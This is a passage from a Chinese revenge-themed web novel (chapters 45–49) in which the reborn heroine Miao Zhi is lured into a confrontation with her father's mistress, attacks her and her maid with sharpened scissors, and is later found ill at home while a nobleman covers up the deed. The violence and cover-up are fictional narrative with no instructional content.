想起对方交代的事情,兹事体大,于是脚步一抬就急匆匆向后院位置跑去。
妧枝出了木荷堂,第一眼逡巡四方。
忽然就瞧见外面街道上,行人不多,但街角处有一道身影颇为鬼祟,看到她对上目光,很快便如无事人一样扭开头,朝着另一方向快步走开。
见妧枝不动,对方又放缓速度,似是想要她追上。
桌上留给她的纸条上面写着,问妧枝想不想见她弟弟妧酨,说妧酨正等着她去找他。
若是妧枝不来,过了今日,可就不一定能见到了。
妧枝登时感到身上汗毛都竖了起来,不是惊慌,而是愤怒。
“阿,阿姐,我腿断了,我的腿断了!”
上一世妧酨在受伤后,被大夫摸了摸骨,稍微一碰便脸上失去血色,痛得大叫。
他头上还有伤,神色十分惊惶,看人的目光满是恐惧胆怯,知晓平氏身体不好了,只能求助于妧枝,将希望寄托到她身上。
“阿姐,我好痛,救救我。”
“是不是这辈子我都不能再走路了?”
“妧酨……”
“瘸子,快看瘸子!”邻里小儿趴在墙头,看到敷了伤药从屋内出来的人影毫不客气地耻笑。
拖着一条腿走路姿势极为可笑的妧酨挥出扫帚,抛向墙头打过去。
然而什么都没碰到,反倒自己跌了一个跟头,灰尘满面,引来更大的嘲弄。
“哈哈哈哈,傻子!”
“我若是你,活着还不如死了!真没用!”
“没用!没用!”
“走喽,妧大郎没了条腿,彻底废喽……”
讥嘲耻笑的声音不断,令趴在地上却一时间起不来的人影悔恨愠怒,然而只能眼睁睁看着瞧不起他的人们走远。
颓败早已失去下人打理的妧家宅院,杂草横生,一派枯寂。
再过多时,只剩一道仰天哀痛的嚎叫,和愤恨不甘的呜咽。
当晚妧枝便收到消息,妧酨发起了高烧,热意迟迟不退,浑身惊惧颤抖不止。
等大夫再赶去已经晚了,从此状元巷里真正多了一个冲人憨笑流涎的傻子。
但若有人真正叫唤他傻,回应他的便是对方拖着瘸腿,发疯般的追赶。
妧枝自是不肯自己弟弟再落得这样局面。
她捏紧手心,向那带路的人跟了过去。
天上不多时下起暴雨,在还算晴朗的黄昏,雨水从上空倾泻,打在屋檐一角,宛若雨帘。
商榷安骑在马背上,正打算回濉安王府。
枕戈的惊疑忽然道:“大郎君,那好像是妧家那位娘子……”
商榷安瞬时朝着下属指示的方向瞧去,雨幕中,出现一道沿街快步奔走的淑影。
即使下着大雨,对方仍旧没有躲避的意愿,同时脸上白的惊人的肤色,在连绵不绝的水滴下若隐若现。
第46章 你可知,你这般可是招惹……
妧枝淋了一身雨,在转角口,她追的人蓦地消失不见。
留给她的,是一顶停在外面的轿子,有着请君入瓮的意图。
她顿了顿,最终还是坐了进去,不多会脚步声传来,果然像是有备而来,她坐的轿子忽然被抬起,飞快朝着前方前进。
等到时,妧枝被粗鲁地从其中拉了出来,拽进一处院子里,引她来的人狠狠推了她一把,“进去。”
然后不等妧枝回头,便将院门重重关上。
差点一个趔趄摔倒的妧枝正好往前快走两步,撑住了墙面,这才紧急避险。
她抬眸审视着被带来的地方,黄昏下落,乌云渐升,天逐渐变晚。
不远处,房门内亮着盏灯。
屋中溢出说笑声,妧枝在门外站定,稍许,从容推开这扇门。
“夫人许久未来了,今天想听我等唱什么小曲儿。”
“这雨这般大,唱曲儿又怎能听得清?我看夫人还不如与我等共同乐一乐呢。”
“对啊,这次怎么不见那位大人陪着夫人?”
里头不止一个人,有男有女,但声音都颇为妩媚,仿佛捏着嗓子说话。
另一道带着少许威势,却趾高气扬的嗓音一出来,就让其他动静安静下来,“怎么,你们都很想妧郎吗?”
独坐在椅子上明丽妇人皮笑肉不笑地回应,让两边围着她的乐师和舞姬微微噤声,“这,只是历来夫人身边都有妧大人在,这次没看到妧大人陪着夫人,方才有些奇怪。”
“我没叫他来,今日可有更要紧的事要办。”
话语一毕,此间房门突地从外面打开,众人倍感意外地向门口瞧去,而坐在中间的妇人仅仅是偏过头,傲视群雄般噙着一缕轻蔑的浅笑,眯着眼盯着来处。
妧枝从院子里进来,浑身湿漉漉的,背后是狂风大作的暴雨,她的发簪和珠花都有些摇摇欲坠的迹象。
但依旧不影响她的姿容,她身姿挺立,腰脊很直,嘴唇轻抿,乌黑的阴云都挡不住她的韵致。
那从发梢流淌下来的水珠轻轻滑过面颊,坠落到地上,就像开水蒸开了热油,油花四溅,令人躁动不安。
“你就是妧枝?”面带高傲打量她的妇人轻视地问。
薛明烛:“知不知道,本夫人为何请你来?”
她使了个眼色,身旁的婢女便上前讥笑:“怎会有这样的女子,衣衫都湿透了,仪容不整。听说还是待嫁闺中的女子,怎么这副滑稽酸相?”
“你们瞧瞧,她是不是太邋遢了,好端端一个小娘子,身子湿成这样,我们这里还有男子,她真是不知羞。”
乐师和舞姬不知到底什么情况,但不妨碍他们常年与薛明烛和她的婢女打交道,一丘之貉,沆瀣一气。
常在下九流中混,在看人的同时也在打量妧枝,此女一进门挡住光线,带来一路水渍,在地上凝成了一滩。
初见还以为是哪儿来的水鬼,然而等她彻底露面,看清人后,以色侍人的舞姬更不由得揣测薛明烛针对她的理由,“此女是什么人?她是谁啊?”
“怎么惹上我们薛夫人,可怜见的,莫不是走投无路,投奔我们来了。”
“是个小有姿色的,给夫人做个伺候人的小婢倒是合适。”乐师多混迹于女色,看人的目光也充满歪念,为了薛明烛调笑打趣。
然而,薛明烛身边真正的婢女才不肯答应,“她来伺候夫人?呸,没瞧她这副落汤鸡的样儿,别来玷污了夫人差不多。”
“时雨娘子生气了,不过说的也对,好端端的女娘怎么这般狼狈?衣裳都湿了,还是让我带她去换一件干净的吧。”
这番话本是好意,但说话的乐师带着笑意说出,旁边的人都在看戏。
一个未婚嫁的女子,由着不认识的男子碰了身子,那才叫有趣。
薛明烛也好整以暇地看着这场好戏,只是盯着妧枝久了,蓦地觉得熟悉,下一瞬直接问:“我是不是在哪儿见过你?”
迄今为止,妧枝进来后都未发一语。
乐师正要碰她,却发现她并不惊慌躲避,而身上的曲线都随着湿透的衣裳展现的清清楚楚。
贴身至极,突地一声话语在他面前传递,“不想死就别碰。”
乐师冷不丁收回手,看向说话的女子,她眼珠黑得宛若一方乌墨,明明瞧着秀美娴雅,可是眼底的情绪是那么冷,那么憎。
当即让他顿住身形,一时竟停住了接下来的动作。
薛明烛还在睇着妧枝回想,乐师那边没再继续下去,虽然失望,却也没叫她放在心上。
只听身边婢女忽然道:“是她……夫人,我想起来了!”
“惊蛰之前,春日里夫人去东林寺上香,咱们见过她,就是她挡了夫人去路!”
一经婢女提醒,薛明烛似乎也恢复了记忆,“是你?!”
她瞪了妧枝一眼,然后不屑一笑,往椅子上靠了靠,“那还真是巧了……”
原来那么早,就与妧嵘的女儿见过。
她再问一遍,“你可知道我是谁?今日让你来只为一件事,以后不得再忤逆你父亲,为人子女,竟敢违逆生父,你算个什么东西,也要做那等不孝不义之辈。”
“你阿父不忍斥责你,他是怜爱你的,可我却不能坐视不理。你母亲教女无方,那便由我来替她好生教导教导你,也算是给你个警钟,让你今后好生做人。”
“夫人,她是?”一旁听了这席话的其他人愣了。
乐师接过话头,“莫非是妧大人的女儿?”
“做妧大人的女儿,好福气啊,怎会惹得夫人这么动怒。”
“没听夫人方才说了么,妧大人的女儿不孝不义,敢违抗他,这可真是没教养啊!”
一帮不知内情,更未见过妧枝的下九流开始对着他人讨伐起来,为了讨好薛明烛什么话都说得出口。
更以一副过来人的姿态,劝告妧枝,“小娘子,夫人说的都是真的吧?那你可太没有孝心呢。”
“妧大人生你养你,对你有养育之恩,你过上那么好的日子,又是官家女,怎么还要与你阿父不对付呢?”
“也太不知足了!”
妧枝透过训斥与薛明烛对视,她看着年纪当真不大,任何一个未出嫁的小娘子遇到身份低微,又百般不如她的卖色之人羞辱,都会顷刻气急败坏,为自己辱骂伸张。
然而在薛明烛眼中,这个妧嵘的长女,她好生奇怪。
她的反应绝非涉世未深的小娘子,反而始终面无表情,丝毫不受影响地听着他们议论她。
莫非是个木头?还是听不出她给的刁难和下马威。
“我阿弟呢?”
终于,此女不再置若罔闻,开了口。
其他人的非议,她都没有放在心上,更好似未将薛明烛等人放在眼里。
还记得她来,是受了薛明烛派去的人的胁迫。
留了张字条在木荷堂,牵扯到妧酨,妧枝才来。
她定睛盯着薛明烛,“我问你,你是否对我阿弟动了手?”
“你阿弟?”薛明烛像是才反应过来的样子,很不在意地回答妧枝,“好像有这么一个人。”
“叫妧酨吧?”她笑笑,满眼都是鄙夷。
“我常听你阿父提起,那就是个废物,生出来就是个供人耻笑的货色,长这么大,没继承你阿父半点读书天赋。”
“不过也好,废物就废物了,若是有用,还得让我费心呢……”
至于为何要费心,那就不得而知。
但只要想想便能得到答案。
妧枝注视着薛明烛,透过她的反应已然可以判断出,妧酨不在这里。
方才对方使人挑衅辱骂她这么久,从头到尾也只是为了想帮妧嵘出头训女。
从前他抛妻弃子,也是这般有人在背后为他谋划,而今依旧如此。
妧枝动了动唇,“高门贵女,大将军之妻,一介寡妇,与有妇之夫通奸,也值得高高在上吗?”
话音落,所有人面色一惊,薛明烛身边的婢女更是惊愕。
“你说什么!”
“我家夫人,不过是妧侍郎的相熟知己,知交好友,你怎么敢这么说她?!”
旁边的舞姬和乐师神色各异,明眼人都知道的事情,旁人不点破也就罢,但被妧侍郎的女儿亲口说出来,就如撕破脸皮,让人失了颜面。
婢女为了保存薛明烛的脸面,怒声斥责起妧枝,薛明烛本人更在灯盏照耀下,神情幽暗地看着妧枝,嘴角微翘,除了有一丝不悦,更多地还是肆无忌惮的傲气。
“你可知,你这般可是招惹错人了。”
薛明烛:“你阿父说的不错,你果然是个不讨人喜欢的逆女,看来,我得替他好好管教你一番了。”
“去,给她立立规矩,让她知晓,一个真正乖巧听话的女儿,该怎么做。”
“不敬长辈,又是什么下场?”
下马威不成,妧枝丝毫不受影响,薛明烛便只有对她用上另外的法子,她历来习惯了在深宅大院里教训底下不听话的下人。
于是示意时雨上前去,妧枝那样的弱女子,在她眼中也不过是需要被摧折的对象,是没吃过苦,等尝过苦头,觉着疼了,就知道该怎么求饶了。
妧枝看着薛明烛的婢女朝她走来,她没有避。
也没有想避。
“大郎君,找到了。”
院落外,大雨未停,枕戈撑着伞努力朝马背上的商榷安靠近。
二人肩头都有不同程度被雨水打湿的痕迹。
守在附近的下人见到他们,警惕呵止,“什么人在此?”
然而刚一走过来,就被高处的人影盯住眼睛,阴郁的威慑令人心中一跳,“滚!”
第47章 我上辈子就想见到你了。……
屋外大雨瓢泼,天色随着太阳的落山,已经被乌云覆盖,黄昏不在,黑暗蔽日。
室内双双眼睛正等着看薛明烛的婢女如何给这个官家女立规矩。
大户人家多得是惩治下人的门道,时雨奉了薛明烛之令,趾高气扬地走来,阴狠一笑。
妧枝这样的小娘子她最见不得了,一副清高至极的模样,以为自己多冰清玉洁不成?
只要她尝过厉害,落在她手上就只有痛哭流涕的份。
她朝着妧枝靠近,脸色嫌弃,就在伸手抓到妧枝时,倏然感觉什么东西碰到她,浑身有种剧烈的痛袭来,时雨惨叫一声,“夫人!”
众人一惊,被时雨挡住瞧不清面前情状,直到她转过身,所有人才看到薛明烛的婢女眼下的惨状。
她脸色煞白,抬起颤抖的手,向薛明烛求救,“我的手,我的手……”
屋外一道惊雷炸响,伴随闪电的光亮照明婢女的伤势,原本完好无损的五指竟被削去一半,而始作俑者就站在她身后,白玉般的脸庞溅了几滴血,如同破败的庙里为人遗弃的冰冷神像一样。
瞳孔黝黑宛若深渊,冷冷地盯着他们。
未曾见过这般血腥场面的其他人反应过来,舞姬已经吓得尖叫不止,乐师更是被如此狠厉的妧枝吓得骇然退了一大步。
薛明烛看着婢女面露痛苦,一排鲜血淋漓的断指,已经震惊到捂住嘴唇,不敢置信眼前发生的一幕。
妧嵘说他女儿极为忤逆,越来越不听他的话,薛明烛还想,不过是个未出嫁的小娘子,年纪轻轻,没经历过大风大浪,只要好好调教就好了。
薛家管教下人也相当严厉,就代他教教这个长女好了。
可是如今,眼前的女子哪里像清白人家出身,更像从十八层地狱爬出来的恶鬼,正朝自己靠近。
妧枝往前动了一步,两步。
被削去手指的婢女对她畏惧到极点,浑身发抖望着她走向自家夫人,却不敢有半点阻拦。
“来人,看着做什么,还不快拦住她!”薛明烛被盯上后只感觉妧嵘女儿看她的眼神令她浑身阴冷,感觉发麻。
时雨已经废了,她不得不呼唤在场的其他人站出来挡在跟前,但是没有一个人听她的。
暴雨不曾停歇,雨水冰冷的味道让屋里的血腥味更加浓厚了,所有人都不敢靠近手持利器的女子,她像极了在刑场的刽子手。
地上铺满阴影,随着妧枝越靠越近,薛明烛望着她手上那把磨得锋利不属于任何一把兵器的铜剪,眼神恐惧到一定程度。
同时发现她想起身躲避,却不知什么时候双腿已被吓软了,根本起不了身。
妧枝削人削的毫不费力,没人知道她身上会携带凶器。
上辈子她倾尽全力,为平氏奔走,不是没遇到阻拦。
白日里她出门,回去路上就能遇见有人拦路,踹走了她的马夫,跳上马车掀开帘子。
吓得婢女惊声尖叫,而做游侠打扮的武人一下就将婢女扯了出去。
在妧枝以为下一个就是自己时,却听他们为首的道:“若不是你还是濉安王府的大夫人,今日可就没这般好下场。”
“听着,你妧家落败就落败了,一个出嫁女,少掺和你父母之事,再追查下去,下回可没这么好运气!”
对方威慑地将短匕插在车板上,歹毒的目光示意若不照做,这把刀迟早凌迟在妧枝身上。
换做任何一个女子,当场就要哭了。
然而回去之后,妧枝就拿出了她常做女红的剪刀。
剪刀很好用,十四岁前,她像她阿母平氏一样用它来剪掉针线,同时也拿它对准过妧嵘。
这样的器具,能辅助妇人在平淡的日子里缝缝补补,也能帮妇人在风雨中吓退敌人。
站在惊惧瘫软在椅子上的薛明烛面前,妧枝给她看了看自己的铜剪,“我上辈子就想见到你了。”
面容冷淡,有着些许感慨。
薛明烛不懂其意,什么叫上辈子?
妧枝却赫然挥刀落下,并不答话,一股血溅开来,薛明烛眼里只倒影出她最后的模样。
女子身上仿佛与另一道久远的影子重叠,如同穿越时空,从遥远的地方传来安息的轻叹。
她真的很想很想找到薛明烛。
做梦都想。
可千难万阻,她藏身在高门大户,祖荫庇佑。
妧枝根本见不到她,亦见不到妧嵘,而今仿若上天悲悯恩赐,她自己送上门了。
“杀,杀人了……啊啊啊。”
屋子里见势不妙的舞姬彻底慌了头,宛若动物般惊恐四散,冲向外面的同时,房门在下一刻打开。
两道撑着伞的黑影赫然立在屋外,像雨夜巨人挡住去路,又被骇住的其他人不曾见过他们,一时不敢再往外逃,只能看着最先出现的那道身影进来,定定逡巡着室内。
当看到屋子最里面发生的情形后,登时好似愣在原地一样,注视着背对着他们的削薄背影。
妧枝转过身来,刚好天上又一道闪电,照亮她此时的脸面,与黑暗相交映,她的皮肤透着湿冷的质感,白得如同覆盖了层淡淡的冰霜。
乌漆的眼仁里即使瞧见他们,也全都是麻木,更不提衣裳湿透,令她纤瘦的身形宛如薄薄的一片,摧枯拉朽,却又不可思议挺立到现在。
手上的铜剪边缘不断滴着血,顺着那只白皙的手背缓缓下流,折射出惊人而诡异的狠厉与波谲。
气氛死寂到了极致,没有一个人在这时出声打扰妧枝。
即使商榷安不知为何会出现在这里,妧枝转过身后,就如同没看见他和他的下属一般,依旧没有任何表情地朝他们面前走来。
旁边的舞姬们吓得瑟瑟发抖,本以为来的是两个薛家夫人身边的看护。
然而一直到行凶的女子没有意思停留地往外走,对方都好似没有要阻拦的意思,竟任由她这么过去了。
屋内薛明烛的惨状被商榷安亲眼目睹,纳入眼底,在妧枝朝他走近,又无视了他,一声不吭握着带血的剪刀出去后。
不光其他人惊了,他也愣了一下。
那一刻,商榷安对这样的突发状况出奇地沉默。
他只停顿了那一息时间,快速扫了下屋中的场景,就对枕戈说:“看好他们,增派些人来处理好了。”
说着,他最后瞥一眼椅子上仿佛死去的尸身,向着门口的方向追了出去。
妧枝刚走出去不远,或者说这样大的雨势,一时半刻不停,雨雾和黑夜朦胧了她的视线,在飘摇的水汽中,她感觉不到一丝温暖的灯火等候着她。
只有耳边冲刷的水声,雨珠滴溅在心头上,与远方遥不可及的昏暗天际一样,让她觉得周边都是空旷。
商榷安一出门便搜捕着妧枝的身影,多年办案以及朝堂内外应对危险的经验,让他很快在黑糊糊的雨夜下判断出她所在的方向。
屋檐下还有微弱的光,飘摇的灯笼左摇右摆,没被潮湿的风打湿的不剩几盏。
地上的泥水被前后两道脚步溅水花,从商榷安从背后撑着伞跟来,妧枝仿佛没有察觉一样,半点都不在意背后跟了人。
她如一具幽灵,无视这般坏的恶劣天气,穿过院落里的长廊,走过空庭,然后从来时的门口出了去。
天色已黑,有的人家早早就熄了灯,大街小巷里都不见外出的人影。
宽敞的道路上便只有两道伶仃的影子,一道不远不近跟在后面,商榷安看上去像是想为跟前单薄的人影撑伞。
但他刚走近,并着肩,伞面覆盖上去,面前那道身影便走开了一点。
他默了片刻,再妧枝走远了两步后再度跟上,亦是一样。
直到他后退半步,落后于她,这次眼前的女子没有再走出他伞面覆盖边缘。
也应是这些都是无心之举,对他不怎么留意,一直都没有停下转过头来看他一眼。
反倒是商榷安没有挪开视线仔细盯着妧枝,她清冷的不像一个有血有肉的人,但她麻木的眼珠里同样不缺失生机。
“成婚了,成婚了。”
“恭喜大郎君成亲。”
娶了妧枝进门后,很长一段时日里,凡是见到商榷安的人都会向他道喜。
他和妧枝的主院里,仆人张罗着午后的茶点,那个带着暑气,霞光遍布的天气里,树影摇晃,金光点点,都是爽朗的和风气息。
“主家。”一身罗衣,花钿覆额,挽着单口衣袖的妧枝,露出皓腕,端着冰镇过的酸梅汤过来。
“天太热了,府里送的酸梅汤,趁凉喝了吧。”
她额头上有微微的汗意,整个人充斥着白里透红的健康气色,对他并没有一丝新婚夜后抛下她一走了之的不满。
妧枝什么都如常照办。
“夫人待大郎君真用心,大郎君出门在外,夫人都十分惦记。若是王妃在这里,看到夫人和大郎君夫妻二人这般和睦,定然也就放心了。”
被夸的妧枝应当知晓商榷安对她的态度,他们迟迟没有圆房,这些时日他都睡在外面。
但即使这样不如人意,妧枝都能腼腆对王府里的大管事笑笑,对应自如,“劳你过奖了。”
说着她十分自然地将桌上的酸梅汤往商榷安跟前推了推,又将一把勺子塞进了他手里。
哪怕商榷安冰冷地注视着她,妧枝垂着眉眼,依然含笑,睫毛都很颤。
声音里却都是平静镇定,“很好喝的,尝一口好吗?”
大概是许久不见他有反应。
她终于偷偷掀开了眼皮,疑惑而不解地偷看他一眼,眼珠像有光照进来,乌润明亮。
“主家,喝呀。”
直到商榷安在莫名对峙的期待中,终于端起碗,像是做了一件大事,他看见她背过身,抱着端盘悄悄松了口气,挪步到婢女身边,小声以为他听不见地说:“太好了,他没有拒绝我。”
商榷安端着碗,目光落在她身上。
乌发纤腰,细长白颈,面色红润,那时的妧枝很健康,与下人们都能温和说道两句。
还会笑。
但如今,风雨里,只有她孑然独行的寂寥身影,以及视一切而不顾的面庞,坚不可摧且拒人千里,和从前的她大不一样。
一阵冷风吹来,连商榷安都感觉到一丝沁透人心的凉意,更遑论早就穿着湿透的衣裳很久的妧枝。
这样走下去不行,琴台巷离状元巷很远,雨势一直未停。
商榷安不由地出声,“妧枝,别走了,我送你。”
他的马停在那间宅子前,然而常年是他的坐骑,对他非常熟悉,商榷安一出来,马就自动从后面跟上。
但是前面的女子不听,商榷安正要拉住她,今夜出了那么大事,他还要去处理,却见眼前的妧枝对他的话语充耳不闻,反倒是突然加快了脚步。
她一下从商榷安的伞下脱离,朝着前面停着的一辆马车走去。
那辆马车是突然出现且横在了道路中间,然后从上面跳下来一个人,“阿枝。”
男子顾不得打伞,像是同样寻了妧枝许久,没入雨里张开双手朝妧枝奔去。
商榷安立时顿在原地,水珠拍打着伞面,落下的声音十分清晰。
他看到拒绝他的妧枝在对方出现那一刻,仿佛起死回生和刚才大不相同,拔腿就朝着男子而去。
宛若倦鸟归林,顷刻投入那人怀里。
第48章 弥补。
湿暗不明的大街上,历常珽的马车前挂着灯笼,车夫驭马,在昏暗中经过各种她有可能出现的街道巷落,一路找了妧枝许久。
在看到她的那一刻,他顷刻不顾正在下落的雨,跳下车。
来不及问她怎么会在这条巷落?
历常珽抱住妧枝,伸手一摸就感觉她湿透了,他心惊肉跳不知她淋了多久的雨,发钗全乱了,身上冷冰冰的。
而在她身后,不远处更是立着一道撑着伞的影子。
虽看不清面容,但对方身形能窥出是个与他身量相仿的高大男子,他远远地看着他们,没有再过来。
背后还有一匹马在等待着他。
历常珽心中疑惑,对方是谁,然而眼下带妧枝离开最为要紧。
他揽着怀中人的腰肢,只觉得原来她那么轻,无需太用力就能将她抱起。
车夫在帮历常珽将妧枝送进马车中后,穿着蓑衣坐在前面,牵起缰绳驱使马儿调头。
夜里妧家亮起灯火,守着房门的下人带着斗笠在屋檐下打瞌睡。
大娘子白日里出去后,一直未归,主母心焦如焚,终于忍不住派人去了木荷堂找人。
然而连郡王也不再茶堂里,但有郡王身边的亲信亲自登门,给主母托口信,“黄昏之前大娘子一直同郡王在一起,二人回到木荷堂后,娘子便在里面歇息。郡王陪着她。”
“后来突然娘子有事,吩咐了下人一句,就出去了。郡王已经带人出去找了,一定会将妧娘子安然无恙地带回来,还请夫人放心。”
有了这番保证,妧家上下方才安心许多,但主母还是要求下人一直在妧枝回来前,都要留意前门的动静。
于是连房都没回,就在屋檐下守着,时刻听着是否有人敲门。
就在下人起身到半路,要去查看,以为是听错了正准备中途折返时。
前门忽然真的动了。
“有人吗?来人,开开门。”
下人听见声音,当即应道:“来,来了!”
门一打开,只见外面站着今日刚见过的郡王亲信,“我家大娘子……”
亲信让开一步,有人从后面过来,下人踮脚一看,就发现郡王的身影,而他怀里赫然抱着一个人,看衣着毫无疑问,就是今日出门的妧枝。
下人赶忙迎接,同时朝正堂屋里喊:“主母,大娘子回来了!快来啊,大娘子回来了。”
很快,不光平氏,就连最小的妧柔都出现在门槛处,“阿姐在哪儿呢?”
妧酨与妧柔站在一起,牵着妹妹的手,带着她过去找妧枝,在看清眼前一幕时一愣。
平氏在得知妧枝回来后,心里终于一松。
但在历常珽抱着妧枝闯入她眼前时,她忽而又觉得不对劲,像有什么可怕的事发生了。
“这是,这是怎么了?”
“阿枝,醒醒,阿枝……”平氏抬头盯着历常珽质询,“我阿女怎么了,她怎么浑身都湿透了?”
妧枝变成这副落难的样子,叫她这个做阿母的瞬间紧张起来,往日怯懦的模样多了一丝色厉内荏的恐慌。
“叔母,可否容我先送阿枝回房,之后我再与你细说。”
历常珽说完,平氏接着便让开,挥手指挥没睡的下人,“快,快烧热水过来。”
“妧酨,看好你阿妹,我带郡王送你阿姐回房。”
按说闺房不应由外男进入,但历常珽已与妧枝定亲,他家中没什么做主的长辈,自己就能定下这门婚约。
而妧枝和平氏都在他的求婚书上都签署了名字,而今就是板上钉钉的未婚夫妻。
事从权急,平氏已顾不得那么多,便带着他往内宅屋子里去。
琴台巷,商榷安亲眼看到历常珽带着妧枝离开后,他目送了那辆马车离开许久。
然后反身回到刚才出过事的院子里。
看护在门前已经被他带来的下属抓了起来,商榷安撑着伞跨过门槛,脑海中还在回想今夜大雨,妧枝无声无息一个人步入雨中的样子。
枕戈在房中,等他来后,快速到他身边将所了解到的情况禀告给商榷安。
“出事的是已故明远将军的原配夫人薛明烛,她是妧侍郎妧嵘的红颜知己,二人相交甚笃,有一定私情。今日事发,就是因为妧嵘不满女儿与郡王府的婚事,向她诉苦,薛明烛想着代为管教妧娘子,这才出了这样的状况。”
“大郎君,怎么办?不仅薛夫人出事,她身边的婢女也都被削断了手指,那些舞姬和乐师都瞧见了,此处本是她与妧侍郎苟且私会的地方,那些下人都是他们养来逗乐子的。”
枕戈顿了顿,代商榷安作为臣子考量,“可要报官?”
站在之前妧枝待过的位置,商榷安直面刚才薛明烛坐过的椅子,整间屋子的灯都被点亮,上面的血迹被照得清清楚楚,也骇然惊恐。
除此以外,不远处地上还有一滩。
手持铜剪,幽幽转过身面对他们的女子面孔冰冷麻木,仿佛下一刻就要被某种黑暗吞噬,让他记忆犹新,商榷安从未见过这样的妧枝。
她在对薛明烛动手的时候在想什么?
枕戈的话无异于提醒商榷安,下手的人并非是一时冲动,而是隐忍多年,在那一刻终于大仇得报。
薛明烛亦非无辜,她万不该惹这样一个从上一世就不断追查她下落的人。
上辈子妧家出事,商榷安并非一无所知。
薛家乃国之重臣,祖上为圣上开疆拓土,又出了一位皇太后,一位舅国公。
薛明烛可谓是含着金玉明珠出生的,她先在皇太后名下养着,皇亲国戚,是宫里的熟人。
后来年长到十五岁,就被指腹为婚嫁给了她已故的丈夫,明远将军。
然而不巧,这位将军命短,二人成婚不到五年就突发意外去世了。
后来薛明烛倒也未曾再嫁,即便薛家人想让她再寻一门夫婿,然而薛明烛自己给的缘由是,她要为已故丈夫守丧。
今后都不会再嫁。
这样倒迎来一片称赞,夸她情深义重,连夫家的人都来劝她,不介意她再嫁,若是遇到合适的人家或心上人,只管再结连理就是,定不会怪她。
然而薛明烛依旧以这个名义,做了许多年寡妇。
但却少许人知情,她是因为与妧嵘来往,有了私情,这才始终保持着寡妇身份,以免因旁的因素阻碍他们通奸。
她上辈子与妧嵘瞒天过海,尤其是在妧枝出嫁后。
妧嵘的长女很不好糊弄,妧嵘屡劝薛明烛等等,慢些动手,于是才等到妧枝离开家中,管不到平氏等人头上,方才撕破脸皮,带着薛明烛住了出去。
二人狼狈为奸,为虎作伥,一直到事情败露。
可惜,从始至终,妧嵘都靠薛明烛和薛家的庇佑,独善其身,相安无事。
妧枝不可能对他不恨。
是以才会有了酒楼献罪证那一出,而薛明烛,商榷安也想不到上一世二人躲了那么久,而今却妧嵘一两句言辞,便忍不住寻妧枝的麻烦。
这应当也算得上,冤有头债有主。
“薛家的人找来没有。”
只一句,枕戈已经从商榷安的话音里听出其意,他有些愕然,然后在商榷安深邃的眼神睇过来时答道:“不,不曾……”
“这位薛夫人,平日里就爱住在薛府,已经独自在外住在自己的私宅里多年。”
“她今日出门就安排了三两个看护……”
薛明烛大概自己也想不到,原是想着教训妧枝一场,却不得知对方是有备而来,尤其与她有深仇大恨。
如何会错过这一场能近身讨伐她的机会。
“那就清扫干净。”
果然,枕戈听见自家大郎君道:“薛府的人若是找来,就说这位夫人自己云游去了。”
“实在寻不到人,让他们自行报官便是。”
枕戈听懂了不止一层意思,不仅薛明烛会被处理,就连今日在场的那些舞姬和乐师都会被妥当处置了。
以及那个受伤的婢女,即使放了她,回到薛府她也是死路一条。
如此也就更没必要让她出现在薛家人眼前。
只是,大郎君为何要帮那位妧娘子做到这种地步呢?
难道不该是……避之不及?
商榷安在交代完事宜,转身走向门外,此刻屋外雨停,淅淅沥沥。
天上乌云终于褪去一番,他神情莫测,复杂幽深,难以猜测他心中杂绪。
也许是孤身伶仃的妧枝身影给了他恻隐之心,亦或许她拿刀的背影给了他深切的震撼。
耳畔有一股回声,仿佛回到数日之前,木荷堂里流的泪眼和讥嘲质问,“你有没有良心?”
良心?
他倏然勾起唇角,黑眸里的光亮讽刺而冰冷。
有良心有什么用?
如果有良心就能有愧疚,那世上还有多少罪人备受谴责。
良心有用的话,他年幼时又怎么会被李侀送去顶罪?他又做错了什么?
回到京都那些刁难,千阻万险,难不成都是他的应得?
这个世上总得有人来受累,弱肉强食,被欺凌欺辱只能怪自己能力不足,世事就是这般不公。
不管是平氏还是妧酨妧柔,一如他当初一无所有,任人宰割。
这一回,就当是一点弥补。
黑云散开,一把伞被当头收起来,在屋檐滴水的檐角下,商榷安没有任何遮拦,手持伞具也如一具孤单身影,大步踏入地里,溅起一缕水花。
明明停雨,京都仿佛即将掀起一场新的风雨。
第49章 病了。
“多瑞,大娘子醒了吗?”
妧家。
伙房里,准备饭食的粗仆妇人看向从外面进来的女婢,自从大娘子夜里被历郡王带回来,就发起了高热,而今卧病在床,一觉不醒。
若不是请来的大夫诊断过,大娘子只是身体劳累,需要多休息,其余皆正常。
不知道的,还要以为是出了什么事。
有信鬼神的,免不了私底下悄悄在传,大娘子这像是被摄了魂。
天黑大雨夜,那么晚才回来,可不就是走了夜路,被鬼迷了心智才这样的么?
多瑞看到伙房里,看似做事实则都盯着她等她回应的其他人,“大娘子醒了,主母让我来催催你们,快些把吃的做好,大娘子要吃。”
“醒了?”
下人闻言,面露惊奇,“什么时候醒的,那可太好了,大娘子没事了吧?”
有了被摄魂的流言,让人更想知道的是大娘子的状态如何。
是不是真的走路撞了不干净的东西,才睡了这么长时间。
房屋中,妧枝的房间最大,却与妧柔并成了两间。
颜色柔和清雅的床帐,和桌上摆着的未完成的女红,象征着秀婉女子的闺房。
窗台上是今晨刚刚换上的插在花瓶里的绿枝,妧枝醒来就像魇了一场,倍感疲惫。
她轻咳两声,刚进门的平氏就听见动静,走到她床榻旁,四目相对,妧枝张嘴似是想要喊她一声。
然而语调未成,她感到嗓子里有阻塞,于是停下动作。
平氏也俯身按住她身上的被褥,示意,“别出声,你发了高热,又睡了两日,大夫说你醒来说不出话,是嗓子不适,要喝药多休养才能好。”
妧枝那天夜里淋了过长的一场雨,着凉是必然的,醒来喉咙作痛,难以开口,便也不再为难自己。
但也没想到她睡了这样久。
她看着平氏,平氏将她安抚好,就开始向外喊人,妧酨和妧柔就在附近,一喊便听见,“阿姐醒了?”
“快去弄些吃的来,还有你阿姐的药,让人也煎上。”
妧柔跑进来守在妧枝床边,妧酨在门口往里看了看,不好再进姐姐闺房,于是快步往外走,告知下人,“多瑞,多瑞,快来……”
两日没进食,妧枝竟不觉得腹中饥饿,她摸了摸旁边靠着她手的妧柔,想的是薛家知晓薛明烛出事了没有。
从被引出木荷堂,去往的地方越发眼熟,是曾到过的琴台巷,妧枝就知是谁在谋划这一切。
没想到难以接近的薛明烛会自己送上门来。
平氏还在操持,说话的声音传至耳畔,妧枝却只记得,她那天夜里是一个人走回来。
后来遇见历常珽,她手中凶器还在。
可她人躺在床上昏迷不醒,那么她常带在身上那把铜剪呢?
